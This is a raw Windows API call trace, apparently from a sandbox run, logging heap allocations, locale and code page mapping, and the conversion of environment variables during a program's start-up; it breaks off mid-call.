RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x28) returned 0x82cfc0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1a) returned 0x831468 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x4a) returned 0x833d28 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x72) returned 0x823aa8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x30) returned 0x82d650 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2e) returned 0x82d688 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1c) returned 0x831490 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xd2) returned 0x833d80 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x7c) returned 0x833e60 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x36) returned 0x833ee8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3a) returned 0x8259c8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x90) returned 0x833f28 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x82cff0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x30) returned 0x82d6c0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x36) returned 0x8323f0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x48) returned 0x829350 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x52) returned 0x832430 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3c) returned 0x825a10 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x82) returned 0x832490 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2e) returned 0x82d6f8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x28) returned 0x82d020 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1e) returned 0x8314b8 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2c) returned 0x82d730 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x54) returned 0x832520 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x52) returned 0x832580 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2a) returned 0x82d768 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3c) returned 0x825a58 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x54) returned 0x8325e0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x82d050 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x30) returned 0x82d7a0 [0106.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x8c) returned 0x832640 [0106.654] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x832f00 | out: hHeap=0x810000) returned 1 [0106.655] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x800) returned 0x8326d8 [0106.655] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x80) returned 0x832ee0 [0106.655] GetLastError () returned 0x0 [0106.655] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x220) returned 0x832f68 [0106.655] GetLastError () returned 0x0 [0106.655] IsValidCodePage (CodePage=0x4e4) returned 1 [0106.655] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb1c | out: lpCPInfo=0x18fb1c) returned 1 [0106.655] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f5e4 | out: lpCPInfo=0x18f5e4) returned 1 [0106.655] GetLastError () returned 0x0 [0106.655] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0106.655] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f128, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0106.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x14\\ÂÄ4û\x18", lpUsedDefaultChar=0x0) returned 256 [0106.655] GetLastError () returned 0x0 [0106.656] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0106.656] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f138, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0106.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f7f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x14\\ÂÄ4û\x18", lpUsedDefaultChar=0x0) returned 256 [0106.656] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0106.656] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x431d5b) returned 0x409ec9 [0106.656] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0106.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1f) returned 0x8314e0 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x8314e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0106.656] GetLastError () returned 0x0 [0106.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x4) returned 0x833fc0 [0106.656] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x4 [0106.656] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x8) returned 0x833fc0 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0106.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x36) returned 0x833190 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x833190, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0106.656] GetLastError () returned 0x0 [0106.656] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x8 [0106.656] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0xc) returned 0x833fc0 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0106.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x37) returned 0x8331d0 [0106.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x8331d0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0106.657] GetLastError () returned 0x0 [0106.657] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0xc [0106.657] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x10) returned 0x833fc0 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0106.657] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3c) returned 0x825aa0 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x825aa0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0106.657] GetLastError () returned 0x0 [0106.657] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x10 [0106.657] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x14) returned 0x833fc0 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0106.657] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x31) returned 0x833210 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x833210, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0106.657] GetLastError () returned 0x0 [0106.657] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x14 [0106.657] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x18) returned 0x833fc0 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0106.657] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x827b60 [0106.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x827b60, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0106.657] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x18 [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x1c) returned 0x833fc0 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0106.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x82d080 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x82d080, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0106.658] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x1c [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x20) returned 0x833fc0 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0106.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x14) returned 0x827b80 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x827b80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0106.658] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833fc0) returned 0x20 [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833fc0, Size=0x24) returned 0x833250 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0106.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xd) returned 0x830c68 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x830c68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0106.658] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x24 [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x28) returned 0x833250 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0106.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x25) returned 0x82d0b0 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x82d0b0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0106.658] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x28 [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x2c) returned 0x833250 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0106.658] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x39) returned 0x825ae8 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x825ae8, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0106.658] GetLastError () returned 0x0 [0106.658] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x2c [0106.658] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x30) returned 0x833250 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0106.658] RtlAllocateHeap 